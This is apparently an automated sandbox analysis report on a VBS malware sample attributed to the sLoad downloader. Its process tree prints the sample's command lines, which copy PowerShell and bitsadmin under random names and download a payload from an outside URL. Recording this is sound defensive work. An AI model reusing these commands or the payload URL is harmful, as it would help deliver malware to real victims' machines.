Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/02/2022, 10:17

General

  • Target
    Allegato_doc_02613440060.vbs
  • Size 8KB
  • Sample220221-mbemlsfafr
  • SHA256 12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe
        3⤵
          PID:584
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
          3⤵
            PID:672
        • C:\ProgramData\NXBtfaYin.exe
          "C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png
          2⤵
          • Executes dropped EXE
          PID:776

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/776-57-0x0000000075761000-0x0000000075763000-memory.dmp

            memory/1540-54-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp